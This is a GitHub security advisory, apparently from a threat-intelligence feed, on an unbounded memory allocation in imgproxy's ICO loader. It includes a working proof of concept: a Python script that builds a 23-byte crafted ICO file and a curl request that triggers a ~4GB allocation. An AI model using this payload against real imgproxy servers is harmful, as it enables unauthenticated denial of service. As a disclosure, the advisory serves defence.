GHSA-mmq5-xm89-9pfg - imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field
### Summary
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
### Details
In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:
```
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
```
There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.
### PoC
```py
# make_ico_4gb.py โ generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
```
```
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# โ out
HIGH
Severity & confidence
Source severityhigh
Platform severityhigh
Confidencemedium
Exploitationunknown
CVSS7.5
Affected
Vendorsgithub
Productsgithub.com/imgproxy/imgproxy/v3
Reporting sources (1)
GitHub Security Advisories
Timeline & provenance
Published2026-10-30T22:55:49
Last updated2026-11-09T09:35:06
Ingested2026-10-30T22:59:15
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a single or secondary source; treat as indicative, verify before acting.
Source type: vendor ยท Original: GitHub Security Advisories